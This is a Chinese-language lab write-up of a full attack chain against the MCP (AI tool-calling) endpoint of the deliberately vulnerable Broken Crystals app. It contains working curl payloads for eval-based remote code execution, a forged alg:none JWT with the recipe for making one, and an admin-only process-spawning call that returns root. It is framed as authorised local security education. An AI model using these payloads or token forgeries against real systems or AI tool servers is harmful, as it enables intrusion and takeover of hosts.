9 min read

Broken Crystals 實戰筆記 4:MCP 攻擊實戰——從未認證訪客到 admin 提權 RCE 的完整 kill chain

Broken Crystals 實戰筆記 4:MCP 攻擊實戰——從未認證訪客到 admin 提權 RCE 的完整 kill chain
前幾篇打的是傳統 web 洞(LFI、命令注入、SSJI、XXE),這篇轉向一個相對前沿、實戰資料還很少的攻擊面:MCP(Model Context Protocol),我會從「MCP 是什麼」講起,接著拆解這個 app 的 MCP 攻擊面,最後把兩個核心 finding 串成一條完整的攻擊鏈——一個未認證訪客,如何一路提權成 admin 並取得 root RCE,全程以白箱源碼(透過先前的 LFI 取得)佐證。

一、先搞懂:MCP 是什麼

MCP(Model Context Protocol,模型上下文協定) 是 2024 年底由 Anthropic 提出的開放標準,它要解決的問題是:LLM 本身只會生成文字,不能真的「做事」——讀檔案、查資料庫、呼叫 API,MCP 就是一套標準化介面,讓 LLM 能呼叫外部的「工具(tools)」與「資源(resources)」。

用一個比喻:LLM 是一個聰明但被關在房間裡、只能講話的大腦;MCP 則是牆上一排按鈕(tools)和抽屜(resources),LLM 想做事時,就透過 MCP 這套協定去按按鈕、開抽屜。

為什麼 MCP 是肥美的攻擊面? 因為它把「危險能力」標準化地暴露出來,MCP server 常常:假設「只有可信的 AI 會來呼叫」而把認證/授權做得很鬆;把 shell、DB、檔案系統的能力直接開成 tool;tool 參數直接進危險 sink,因此 MCP 的攻擊面 = 傳統 API 的所有洞 + AI 特有的信任假設問題

Broken Crystals 內建了一個相當完整的 MCP 實作,這正是本篇的主角。

二、MCP 攻擊面偵查(白箱)

透過先前的 LFI,直接讀 MCP 相關源碼。關鍵結構如下。

端點與協定

  • 端點:POST /api/mcp,走 JSON-RPC 2.0
  • 流程:先 initialize 建立 session(回應 Mcp-Session-Id header)→ 後續請求帶此 header → tools/callresources/read
  • 協定版本:2025-11-25

建立 session:先看清楚自己是誰

未帶任何 token 送 initialize

curl -s -i -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"initialize","id":0}'

回應揭曉初始身份:

"session": { "authenticated": false, "role": "guest", "ttlMs": 1800000 }

未認證訪客身份 = guest,session 存活 30 分鐘。

列出 tools:access level 一覽

帶著 session id 送 tools/list,這個 app 很大方地把每個 tool 的 accessLevel 都列出來:

Tool accessLevel 底層 sink / 對應洞
spawn_process admin child_process.spawn → 命令注入
get_config admin 敏感設定洩漏
process_numbers public proxy /api/process_numberseval SSJI
render public doT 模板 → SSTI
get_metadata public proxy /api/metadata → XXE
get_count public 「Accepts a SQL query」→ 疑似 SQLi
search_users public 使用者搜尋
update_user public prototype pollution
get_testimonials public 資料列表
excerpt_text public 文字截斷

看出矛盾了嗎——後面會展開。

三、Finding 1:授權分級不一致 → 未認證 RCE

觀察

防禦者把 spawn_process(明顯的命令注入 RCE)保護成 admin,卻把 process_numbers 留成 public,process_numbers 底層是 eval() 的 SSJI,一樣是 RCE,這是授權邏輯漏洞的經典型態:防禦者只保護了「看起來危險」的端點,卻漏掉了「同樣能 RCE 但長得像功能」的端點。

利用

用未認證的 guest session,直接呼叫 public 的 process_numbers,塞入 SSJI payload:

curl -s -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Mcp-Session-Id: <guest-session-id>" \
  -d '{
    "jsonrpc":"2.0","method":"tools/call","id":2,
    "params":{
      "name":"process_numbers",
      "arguments":{
        "numbers":[1],
        "processing_expression":"require(\"child_process\").execSync(\"id\").toString()"
      }
    }
  }'

回應:

"text": "SSJI result: uid=0(root) gid=0(root) ..."

未認證 root RCE 成立, 一個 guest,透過被錯標為 public 的 process_numbers,繞過了防禦者對 spawn_process 的 admin 保護。

對照:admin 保護本身是有效的

值得強調——這不是「保護完全失效」,而是「分類錯誤」,用同一個 guest session 呼叫 admin 的 spawn_process

{"error":{"code":-32001,"message":"Unauthorized: tool \"spawn_process\" requires authentication"}}

admin 保護確實擋住了 guest,機制是 work 的,問題出在某個等價危險的能力被錯放到 public,這比「完全沒防護」更真實,也更接近現實世界的漏洞型態——機制對,但某個東西分錯類。

四、Finding 2:JWT alg:none → admin 提權

既然 spawn_process 被 admin 保護擋住,下一個目標是把 guest session 升成 admin。

認證邏輯(白箱)

mcp.auth.service.jsresolveAuthContext

const token = this.extractBearerToken(req);          // 從 Authorization header / cookie 取 token
if (!token) return { authenticated:false, role:'guest' };
const payload = await this.validateJwt(token);       // 用 RSA processor 驗 JWT
const user = this.extractUserId(payload);            // 取 sub / email / username / user
const role = await this.resolveRole(user);           // findByEmail(user) → isAdmin ? 'admin' : 'user'

所以 role 是「驗證 JWT → 取出身份 → 查 DB 看該 user 是否 isAdmin」,要變 admin,需要一個「能通過驗證、且身份對應到某個 admin 使用者」的 JWT。

致命缺陷:RSA processor 的驗證實作

MCP 認證用的是 JwtProcessorType.RSA。讀該 processor 的 validateToken

async validateToken(token) {
    const [header, payload] = this.parse(token);
    if (header.alg === 'none') {          // 缺陷 1:alg:none 直接放行
        return payload;
    }
    return decode(token, this.publicKey, false, header.alg);   // 缺陷 2:演算法由 token 自己決定
}

兩個獨立的致命缺陷:

  • 缺陷 1(alg:none):token 若宣告 alg: none連驗都不驗,直接回傳 payload,這是最經典的 JWT 漏洞——不需要任何簽名。
  • 缺陷 2(algorithm confusion)decode(token, publicKey, false, header.alg) 的第四個參數是 header.alg——token 宣告什麼演算法就用什麼驗,沒有鎖死 RS256,這開啟了 RS256→HS256 混淆攻擊:把 alg 改成 HS256,伺服器會拿它手上的 RSA 公鑰當 HMAC secret 來驗,而公鑰是公開的(LFI 讀得到),HMAC 簽驗同一把,於是可用公鑰偽造。

兩條都通,alg:none 更直白,選它。

補充:RS256→HS256 algorithm confusion 的原理,RS256 是非對稱(私鑰簽、公鑰驗),你偽造不了因為沒私鑰,但若驗證函式不鎖演算法,攻擊者把 header 改成 HS256(對稱,簽驗同一把),伺服器便拿「本來要做 RSA 驗證的公鑰」當 HMAC secret,由於公鑰是公開的、且 HMAC 對稱,攻擊者用同一把公鑰簽名即可通過驗證——把「大家都有的公鑰」武器化成「偽造 token 的鑰匙」。

找出 admin 身份

resolveRole 是拿 token 身份去 findByEmail 查 DB,所以偽造的 payload 必須對應一個真實 admin,用 public 的 search_users tool(未認證即可呼叫)撈:

curl -s -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Mcp-Session-Id: <guest-session-id>" \
  -d '{"jsonrpc":"2.0","method":"tools/call","id":5,"params":{"name":"search_users","arguments":{"name":"a"}}}'

結果(這個 tool 本身也是 finding——未認證洩漏含信用卡號的 PII):

{ "email": "admin", "firstName": "admin", "cardNumber": "1234 5678 9012 3456", "id": 1 }

admin 使用者的識別身份就是字串 "admin"

偽造 alg:none token(零簽名)

JWT 結構為 base64url(header).base64url(payload).簽名alg:none 不需簽名段:

HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","user":"admin","email":"admin"}' | base64 | tr '+/' '-_' | tr -d '=')
TOKEN="${HEADER}.${PAYLOAD}."     # 第三段(簽名)留空,但保留結尾的點

tr '+/' '-_' | tr -d '=' 是把標準 base64 轉為 JWT 用的 base64url。最終 token:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ.

帶偽造 token 建立 admin session

curl -s -i -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ." \
  -d '{"jsonrpc":"2.0","method":"initialize","id":0}'

回應:

"session": { "authenticated": true, "role": "admin", "user": "admin" }

role 從 guest 升為 admin,一個完全沒有簽名的偽造 token,換到了 admin session。

五、閉環:admin session 呼叫 spawn_process

用新的 admin session id 呼叫先前擋住我們的 spawn_process

curl -s -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Mcp-Session-Id: <admin-session-id>" \
  -d '{"jsonrpc":"2.0","method":"tools/call","id":6,"params":{"name":"spawn_process","arguments":{"command":"id"}}}'

回應是 SSE 串流(spawn_process 為 streaming tool,依序送 progress → partial_output → message):

event: message
data: {"jsonrpc":"2.0","result":{"content":[{"type":"text","text":"OS command result: uid=0(root) gid=0(root) ..."}]},"id":6}

剛剛還回 Unauthorized,現在回 root

完整 Kill Chain

① 未認證 guest(MCP initialize 無 token,role=guest)
② LFI (/api/file) 讀後端源碼
      → 發現 RSA processor 的 alg:none 缺陷(與 decode 不鎖演算法)
③ search_users(public tool,順帶洩漏含信用卡號的 PII)→ 取得 admin 身份 = "admin"
④ 手工偽造 alg:none JWT(header.payload. ,零簽名)
⑤ MCP initialize 帶偽造 token → role 由 guest 升為 admin
⑥ admin session 呼叫 admin-only 的 spawn_process → 未授權提權 RCE (root)

單一條鏈串接了 五種漏洞:LFI、敏感資料洩漏、JWT alg:none、MCP 授權繞過、命令注入,這在真實世界是 critical 級的完整 kill chain,且它模擬的正是 MCP server 現實中最可能出現的兩類問題——認證分級不一致JWT 驗證缺陷

值得注意的是,這條鏈其實有兩個獨立的未授權 RCE 入口:Finding 1(public 的 process_numbers)不需要任何提權就能 RCE;Finding 2 則展示了即使某能力被正確保護成 admin,只要認證層有缺陷,仍可提權後取得,防禦上這也對應兩個獨立的修補點:能力分級要一致,且 JWT 驗證必須鎖死演算法、拒絕 alg:none

結語

MCP 作為讓 AI 擁有「手腳」的協定,其安全問題正是當前最前沿的研究領域之一,本篇示範的兩個核心缺陷——授權分級不一致、JWT 驗證放行 alg:none——都不是 MCP 獨有的新型漏洞,而是「傳統 web 安全問題,被搬進 MCP 這個新語境」,這也是 MCP 攻擊的本質:舊洞、新面。理解這點,任何做過傳統 web 滲透的人,都能快速切入 MCP 攻擊面。

本文為授權範圍內的本機自建靶場測試紀錄,僅供防禦研究與教育用途。文中所有憑證、PII 均為靶場預設假資料。請勿將任何技術用於未授權目標。